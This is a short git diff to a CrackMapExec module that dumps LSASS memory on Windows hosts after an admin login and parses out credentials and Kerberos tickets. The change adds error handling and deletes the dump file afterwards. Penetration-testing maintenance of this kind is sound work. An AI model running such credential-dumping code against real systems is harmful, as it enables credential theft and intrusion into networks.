diff --git a/cme/modules/lsassy_dump.py b/cme/modules/lsassy_dump.py index 46a2abf11..3062f54fa 100644 --- a/cme/modules/lsassy_dump.py +++ b/cme/modules/lsassy_dump.py @@ -56,12 +56,18 @@ def on_admin_login(self, context, connection): if dumper is None: context.log.error("Unable to load dump method '{}'".format(self.method)) return False + file = dumper.dump() if file is None: context.log.error("Unable to dump lsass") return False - credentials, tickets = Parser(file).parse() + parsed = Parser(file).parse() + if parsed is None: + context.log.error("Unable to parse lsass dump") + return False + credentials, tickets = parsed + file.close() ImpacketFile.delete(session, file.get_file_path()) if credentials is None: @@ -79,6 +85,7 @@ def process_credentials(self, context, connection, credentials): if len(credentials) == 0: context.log.info("No credentials found") credz_bh = [] + domain = None for cred in credentials: domain = cred["domain"] if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():